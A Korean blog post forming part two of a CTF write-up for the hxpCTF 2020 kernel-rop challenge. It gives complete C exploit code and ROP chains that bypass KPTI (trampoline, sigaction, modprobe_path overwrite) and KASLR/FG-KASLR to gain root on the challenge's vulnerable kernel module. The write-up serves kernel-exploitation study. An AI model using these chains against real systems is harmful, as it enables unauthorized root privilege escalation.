CTF

[hxpCTF 2020] kernel-rop (with write-up) (2)

ssongk 2024. 6. 30. 19:29

지난 글(https://ssongkit.tistory.com/820)에 이어 남은 보호 기법인 KPTI, KASLR, FG-KASLR을 우회하는 방법을 배워보자.

 

1-1. Bypass KPTI: KPTI trampoline

KTPI를 우회하는 방법 3가지를 공부해보자. 첫 번째는 KPTI trampoline이라고 부르는 기술이다. 커널에 빌트인으로 존재하는 기능이기 때문에 주로 쓰인다고 한다. 심볼 이름은 "swapgs_restore_regs_and_return_to_usermode"이다. 다음과 같이 주소를 검색한 뒤 vmlinux로 확인해보면 다음과 같다. 

/ # cat /proc/kallsyms | grep  swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

pop을 엄청 많이 하는 코드가 있는데 이 부분은 중요하지 않으므로 swapgs_restore_regs_and_return_to_usermode + 22(0x14)부터 사용해주면 된다.

.text:FFFFFFFF81200F10                 pop     r15
.text:FFFFFFFF81200F12                 pop     r14
.text:FFFFFFFF81200F14                 pop     r13
.text:FFFFFFFF81200F16                 pop     r12
.text:FFFFFFFF81200F18                 pop     rbp
.text:FFFFFFFF81200F19                 pop     rbx
.text:FFFFFFFF81200F1A                 pop     r11
.text:FFFFFFFF81200F1C                 pop     r10
.text:FFFFFFFF81200F1E                 pop     r9
.text:FFFFFFFF81200F20                 pop     r8
.text:FFFFFFFF81200F22                 pop     rax
.text:FFFFFFFF81200F23                 pop     rcx
.text:FFFFFFFF81200F24                 pop     rdx
.text:FFFFFFFF81200F25                 pop     rsi
.text:FFFFFFFF81200F26                 mov     rdi, rsp
.text:FFFFFFFF81200F29                 mov     rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32                 push    qword ptr [rdi+30h]
.text:FFFFFFFF81200F35                 push    qword ptr [rdi+28h]
.text:FFFFFFFF81200F38                 push    qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B                 push    qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E                 push    qword ptr [rdi+10h]
.text:FFFFFFFF81200F41                 push    qword ptr [rdi]
.text:FFFFFFFF81200F43                 push    rax
.text:FFFFFFFF81200F44                 jmp     short loc_FFFFFFFF81200F89

이후 swapgs와 iretq를 수행한다.

.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:                   ; CODE XREF: sub_FFFFFFFF812010D0-18C↑j
.text:FFFFFFFF81200F89                 pop     rax
.text:FFFFFFFF81200F8A                 pop     rdi
.text:FFFFFFFF81200F8B                 call    cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91                 jmp     cs:off_FFFFFFFF82040080
.text.native_swapgs:FFFFFFFF8146D4E0 sub_FFFFFFFF8146D4E0 proc near          ; CODE XREF: sub_FFFFFFFF8100A540+E↑p
.text.native_swapgs:FFFFFFFF8146D4E0                                         ; sub_FFFFFFFF8100A570+17↑p ...
.text.native_swapgs:FFFFFFFF8146D4E0                 push    rbp
.text.native_swapgs:FFFFFFFF8146D4E1                 mov     rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4                 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7                 pop     rbp
.text.native_swapgs:FFFFFFFF8146D4E8                 retn
.text.native_swapgs:FFFFFFFF8146D4E8 sub_FFFFFFFF8146D4E0 endp
.text:FFFFFFFF81200FC0                 test    byte ptr [rsp+arg_18], 4
.text:FFFFFFFF81200FC5                 jnz     short loc_FFFFFFFF81200FC9
.text:FFFFFFFF81200FC7
.text:FFFFFFFF81200FC7 locret_FFFFFFFF81200FC7:                ; CODE XREF: sub_FFFFFFFF81200FC0+BD↓j
.text:FFFFFFFF81200FC7                                         ; DATA XREF: sub_FFFFFFFF8100A930:loc_FFFFFFFF8100A9D0↑o ...
.text:FFFFFFFF81200FC7                 iretq

 

이제 run.sh에서 KPTI를 적용시키고 우회할 수 있다.

#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smap,+smep \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr kpti=1 quiet panic=1" \
    -s
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t mov_rdi_rax_pop1 = 0xffffffff8100aedf;
uint64_t pop_rdi = 0xffffffff81006370;
uint64_t swapgs_pop1 = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;
uint64_t kpti_trampoline = 0xffffffff81200f26;	

void shell(){
    system("/bin/sh");
}

int main(void) {
    uint64_t leak[0x18];
    uint64_t pay[0x28];
    uint64_t canary;
    uint64_t leak_addr;

    int fd = open("/dev/hackme", O_RDWR);    
    printf("fd: %d\n",fd);

    read(fd,leak,sizeof(leak));

    canary = leak[0x10];
    printf("canary: %llx\n",canary);

    for(int i=0; i<sizeof(pay)/8; i++){
				pay[i] = 0x4141414141414141;
    }

    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
	    ".att_syntax;");

    uint64_t user_rip = (uint64_t) shell;
    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rdi; // ret
    pay[idx++] = 0x0;
    pay[idx++] = prepare_kernel_cred;
    pay[idx++] = mov_rdi_rax_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = commit_creds;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    for(int i = 0; i<sizeof(pay)/8; i++){
        printf("0x%016llx\n",pay[i]);
    }

    write(fd,pay,sizeof(pay));

    return 0;
}

 

1-2. Bypass KPTI: sigaction

두 번째 방법은 sigaction 구조체를 활용하는 것이다. SMAP & SMEP를 우회하는 익스플로잇 코드를 KPTI를 적용한 뒤 실행하면 접근할 수 없는 커널 페이지에 접근하면서 세그먼테이션 폴트가 발생한다. 이렇게 발생하는 SIGSEGV 신호를 처리하는 핸들러 함수를 등록할 수 있다. sigaction 구조체는 다음과 같다.

struct sigaction {
   void     (*sa_handler)(int);
   void     (*sa_sigaction)(int, siginfo_t *, void *);
   sigset_t   sa_mask;
   int        sa_flags;
   void     (*sa_restorer)(void);
};

sigaction 함수는 다음과 같다. 탐지할 시그널과 동작할 sigaction 구조체를 등록하는 방식이다.

#include <signal.h>

int sigaction(int signum,
             const struct sigaction *_Nullable restrict act,
             struct sigaction *_Nullable restrict oldact);

 

두 번째 방법을 적용시킨 익스 코드는 다음과 같다. sigemptyset 함수는 등록된 시그널들을 초기화 시켜주는 역할을 한다. 레퍼런스에 있어서 써봤는데 없어도 문제 없이 쉘이 잘 따진다.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t mov_rdi_rax_pop1 = 0xffffffff8100aedf;
uint64_t pop_rdi = 0xffffffff81006370;
uint64_t swapgs_pop1 = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;

void shell(){
    system("/bin/sh");
}

int main(void) {
    struct sigaction sigact;
    sigact.sa_handler = shell;
    sigemptyset(&sigact.sa_mask);
    sigact.sa_flags = 0;
    sigaction(SIGSEGV, &sigact, NULL);

    uint64_t leak[0x30];
    uint64_t pay[0x28];
    uint64_t canary;
    uint64_t leak_addr;

    int fd = open("/dev/hackme", O_RDWR);    
    printf("fd: %d\n",fd);

    read(fd,leak,sizeof(leak));

    for(int i = 0; i<sizeof(leak)/8; i++){
        printf("0x%016llx\n",leak[i]);
    }
    
    canary = leak[0x10];
    printf("canary: %llx\n",canary);

    for(int i=0; i<sizeof(pay)/8; i++){
		pay[i] = 0x4141414141414141;
    }

    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
	    ".att_syntax;");

    uint64_t user_rip = (uint64_t) shell;
    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rdi; // ret
    pay[idx++] = 0x0;
    pay[idx++] = prepare_kernel_cred;
    pay[idx++] = mov_rdi_rax_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = commit_creds;
    pay[idx++] = swapgs_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = iretq;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));

    return 0;
}

 

1-3. Bypass KPTI: modprobe

세 번째 방법은 modprobe를 사용한다. modprobe는 원래 Rusty Russell이 작성한 Linux 프로그램으로 Linux 커널에 로드 가능한 커널 모듈을 추가하거나 커널에서 로드 가능한 커널 모듈을 제거하는 데 사용된다. 즉, Linux 커널에 새 모듈을 설치하거나 제거할 때 실행되는 프로그램이다. 해당 경로는 커널 전역 변수이며 기본값은 /sbin/modprobe이다. 

/ # cat /proc/sys/kernel/modprobe
/sbin/modprobe

기본적으로 modprobe의 경로는 커널 자체의 modprobe_path 심볼 아래에 저장되며 쓰기 가능한 페이지에도 저장된다.

/ # cat /proc/kallsyms | grep modprobe_path
ffffffff82061820 D modprobe_path

만약 알 수 없는 파일 형식의 파일을 실행하면, modprobe_path에 경로가 저장된 프로그램이 실행된다. 정확히는 시스템에서 파일 시그니처(매직 헤더)을 알 수 없는 파일에 대해 execve()를 호출하면 다음의 과정을 거처 modprobe를 호출한다.

  1. do_execve()
  2. do_execveat_common()
  3. bprm_execve()
  4. exec_binprm()
  5. search_binary_handler()
  6. request_module()
  7. call_modprobe()

이 방법은 FG-KASLR에 영향을 받지 않기 때문에 강력하다고 한다. modprobe_path를 오버라이트하기 위해 다음과 같은 가젯들을 찾아준다. 

$ cat gadget | grep -E "0xffffffff8100.* mov .*qword ptr.*\[(rax|rbx|rcx|rdx)\].*ret"
0xffffffff8100306d : mov qword ptr [rbx], rax ; pop rbx ; pop rbp ; ret
0xffffffff81007ffc : mov qword ptr [rcx], rax ; xor eax, eax ; nop ; nop ; nop ; ret
0xffffffff81007ffb : nop ; mov qword ptr [rcx], rax ; xor eax, eax ; nop ; nop ; nop ; ret
$ cat gadget | grep -E "0xffffffff8100.* pop rbx ; ret"
...
0xffffffff81006158 : pop rbx ; ret
...
$ cat gadget | grep -E "0xffffffff8100.* pop rax ; ret"
0xffffffff81004d11 : pop rax ; ret
0xffffffff81004d10 : pushfq ; pop rax ; ret

 

세 번째 방법을 적용한 익스플로잇 코드는 다음과 같다. nokaslr을 kaslr으로 바꿔서 해도 잘 된다.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>

uint64_t user_cs, user_ss, user_rflags, user_sp;

void get_flag(){
    system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
    system("chmod +x /tmp/x");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");

    system("/tmp/dummy");
    system("cat /tmp/flag");
    exit(0);
}

int main(void) {
    uint64_t leak[0x30];
    uint64_t pay[0x28];
    uint64_t canary;
    uint64_t leak_addr;
    uint64_t linux_base;
    
    int fd = open("/dev/hackme", O_RDWR);    
    printf("fd: %d\n",fd);

    read(fd,leak,sizeof(leak));

    leak_addr = leak[0x26];
    linux_base = leak_addr - 0xa157;
    printf("linux_base: %llx\n",linux_base);

    uint64_t kpti_trampoline = linux_base + 0x200f10 + 22;
    uint64_t modprobe_path = linux_base + 0x1061820;
    uint64_t pop_rax = linux_base + 0x4d11;
    uint64_t pop_rbx = linux_base + 0x6158;
    uint64_t mov_rbxptr_rax_pop2 = linux_base + 0x306d;

    canary = leak[0x10];
    printf("canary: %llx\n",canary);

    for(int i=0; i<sizeof(pay)/8; i++){
	pay[i] = 0x4141414141414141;
    }

    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
	    ".att_syntax;");

    uint64_t user_rip = (uint64_t) get_flag;

    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rax; // ret
    pay[idx++] = 0x782f706d742f; // /tmp/x
    pay[idx++] = pop_rbx;
    pay[idx++] = modprobe_path;
    pay[idx++] = mov_rbxptr_rax_pop2; 
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));

    return 0;
}

 

2. Bypass KASLR & FG-KASLR

KASLR은 세그먼트별로 베이스 주소가 랜덤하게 부여되는 보호 기법이다. userland의 ASLR과 차이점은 적용되는 위치 커널이라는 것 뿐이다. userland에서 ASLR을 우회할 때 처럼 주소 하나를 릭해서 우회 가능하다. 하지만 이 문제에선 FG-KASLR이라는 보호기법이 적용되어 있다. FG-KASLR(Function Granular KASLR)은 KASLR의 발전된 형태라고 생각하면 된다. 함수 세분화라고 직역할 수 있는데, 영역 주소가 랜덤한 것에 더해 함수들이 무작위성을 가진다. 이 때, 함수들의 주소는 ksymtab 구조체로 관리된다. ksymtab 구조체는 3개의 멤버로 이루어져 있다. 이 중 value_offset이라는 값이 중요하다. 

struct kernel_symbol {
	  int value_offset;
	  int name_offset;
	  int namespace_offset;
};

 

심볼에선 __ksymtab으로 시작하는 주소를 찾으면 된다. value_offset은 __ksymtab_prepare_kernel_cred에 저장된다.

/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff9fd2c250 T prepare_kernel_cred
ffffffffa078d4fc r __ksymtab_prepare_kernel_cred
ffffffffa07a09b2 r __kstrtab_prepare_kernel_cred
ffffffffa07a4d42 r __kstrtabns_prepare_kernel_cred

 

KPTI를 modprobe로 우회했을 때는 prepare_kernel_cred를 사용하지 않아서 신경 쓸 필요 없지만, prepare_kernel_cred를 사용하게 된다면 ksymtab에 있는 value_offset 값을 이용해 함수 주소를 계산해줘야 한다. 주소 계산은 value_offset 값을 커널 영역에서 가져온 다음 유저 영역에서 계산해주게 된다. 따라서 메모리의 값을 읽어서 가져오는 가젯이 필요하다.

$ cat gadget | grep -E "0xffffffff810.*mov r.*qword ptr.*ret"
...
0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret
...

 

최종 익스플로잇 코드는 다음과 같다. LPE에 필요한 2개 함수 주소를 구한 뒤 ret2usr를 수행하는 rop를 수행하는 코드다.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t kpti_trampoline;
uint64_t modprobe_path;
uint64_t prepare_kernel_cred;
uint64_t commit_creds;
uint64_t pop_rax;
uint64_t pop_rbx;
uint64_t pop_rdi;
uint64_t mov_rdi_rax_pop1;
uint64_t mov_rbxptr_rax_pop2;
uint64_t mov_rax_raxptr_pop1;
uint64_t linux_base;
uint64_t ksymtab_prepare_kernel_cred;
uint64_t ksymtab_commit_creds;

int fd;
uint64_t value_offset;
uint64_t leak[0x30];
uint64_t pay[0x28];
uint64_t canary;
uint64_t leak_addr;

void get_prepare_kernel_cred_offset(void);
void get_prepare_kernel_cred(void);
void get_commit_creds_offset(void);
void get_commit_creds(void);
void exploit(void);

void shell(){
    system("/bin/sh");
}

void get_prepare_kernel_cred_offset(){
    uint64_t user_rip = (uint64_t) get_prepare_kernel_cred;
    
    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rax; // ret
    pay[idx++] = ksymtab_prepare_kernel_cred;
    pay[idx++] = mov_rax_raxptr_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));
}

void get_prepare_kernel_cred(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov value_offset, rax;"
        ".att_syntax;"
    );

    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)value_offset;
    printf("prepare_kernel_cred: %llx\n",prepare_kernel_cred);
    get_commit_creds_offset();
}

void get_commit_creds_offset(){
    uint64_t user_rip = (uint64_t) get_commit_creds;

    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rax; // ret
    pay[idx++] = ksymtab_commit_creds;
    pay[idx++] = mov_rax_raxptr_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));
}

void get_commit_creds(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov value_offset, rax;"
        ".att_syntax;"
    );

    commit_creds = ksymtab_commit_creds + (int)value_offset;
    printf("commit_creds: %llx\n",commit_creds);
    exploit();
}

void exploit(){
    uint64_t user_rip = (uint64_t) shell;

    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rdi; // ret
    pay[idx++] = 0x0;
    pay[idx++] = prepare_kernel_cred;
    pay[idx++] = mov_rdi_rax_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = commit_creds;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));
}

int main(void) {
    fd = open("/dev/hackme", O_RDWR);    
    printf("fd: %d\n",fd);

    read(fd,leak,sizeof(leak));

    leak_addr = leak[0x26];
    linux_base = leak_addr - 0xa157;
    printf("linux_base: %llx\n",linux_base);

    kpti_trampoline = linux_base + 0x200f10 + 22;
    modprobe_path = linux_base + 0x1061820;
    pop_rax = linux_base + 0x4d11;
    pop_rbx = linux_base + 0x6158;
    pop_rdi = linux_base + 0x6370;
    mov_rdi_rax_pop1 = linux_base + 0xaedf;
    mov_rbxptr_rax_pop2 = linux_base + 0x306d;
    mov_rax_raxptr_pop1 = linux_base + 0x15a7f;
    ksymtab_prepare_kernel_cred = linux_base + 0xf8d4fc;
    ksymtab_commit_creds = linux_base + 0xf87d90;

    canary = leak[0x10];
    printf("canary: %llx\n",canary);

    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax;");

    get_prepare_kernel_cred_offset();

    return 0;
}

 

3. Conclusion

이렇게 다양한 보호 기법을 우회하는 문제에 대해 풀어봤다. 향후에는 힙과 관련된 CTF 문제와 실제 모듈에서 발생한 취약점들에 대한 CVE들에 대해 공부해보려 한다.

 


 

https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/

https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/

https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/

https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/